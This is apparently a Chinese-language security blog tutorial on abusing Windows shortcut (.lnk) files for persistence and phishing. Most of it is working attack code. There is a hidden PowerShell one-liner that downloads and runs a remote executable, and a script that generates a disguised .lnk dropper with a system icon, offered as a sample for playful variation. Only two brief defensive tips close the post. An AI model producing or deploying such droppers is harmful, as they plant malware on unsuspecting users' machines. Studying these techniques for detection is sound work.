快捷方式是一种引用其他文件或程序的通用方法,在系统启动或用户单击它时,就会打开或执行其他文件。攻击者可以通过快捷方式部署他们的持久性攻击工具。他们可能会创建一个新的快捷方式关联到某个恶意软件,同时把它伪装成一个合法的程序。或者攻击者也可以编辑已存在快捷方式的目标路径,这样受害者就会在不知不觉中运行恶意软件。
- 快捷(lnk)方式文件能用来进行恶意操作的原因,是因为他的本质是用来执行指定命令行的工具。
在每一个快捷方式的“属性”中,都会有一个“目标”的参数,这个参数就表示在打开这个快捷方式后,重定位到要执行的目标程序。一个文件一旦有启动其他文件的权限,就同时带来了潜在的风险。
我们将任意一个快捷方式的“属性”中“目标”的值修改为如下字符串:
%SystemRoot%\system32\cmd.exe cmd /c powershell.exe -nop -w hidden -c IEX (new-object net.webclient).DownloadFile('http://127.0.0.1/1.exe','.\\1.exe');&cmd /c .\\1.exe
当我们再次运行这个快捷方式时,就达到了利用powershell从远程服务器下载文件到本地并执行的功能。这仅仅是其中一种用法,还有各种不同的方法都可以演化出来。就看你脑洞有多大。🙃
快速生成powershell远程下载执行的lnk样本方法:
创建test.ps1文件,内容编辑如下:
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("test.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"
$Shortcut.Arguments = "cmd /c powershell.exe -nop -w hidden -c IEX (new-object net.webclient).DownloadFile('http://127.0.0.1/1.exe','.\\1.exe');&cmd /c .\\1.exe"
$Shortcut.Save()
cmd命令行中执行如下代码:
> powershell -ExecutionPolicy RemoteSigned -file 1.ps1
生成的lnk文件即为测试样本。
# LNK钓鱼攻击防范
- 安装杀软,一般杀软都能拦截(未做特殊免杀处理的前提) 😂
- 避免随意打开来路不明的lnk文件。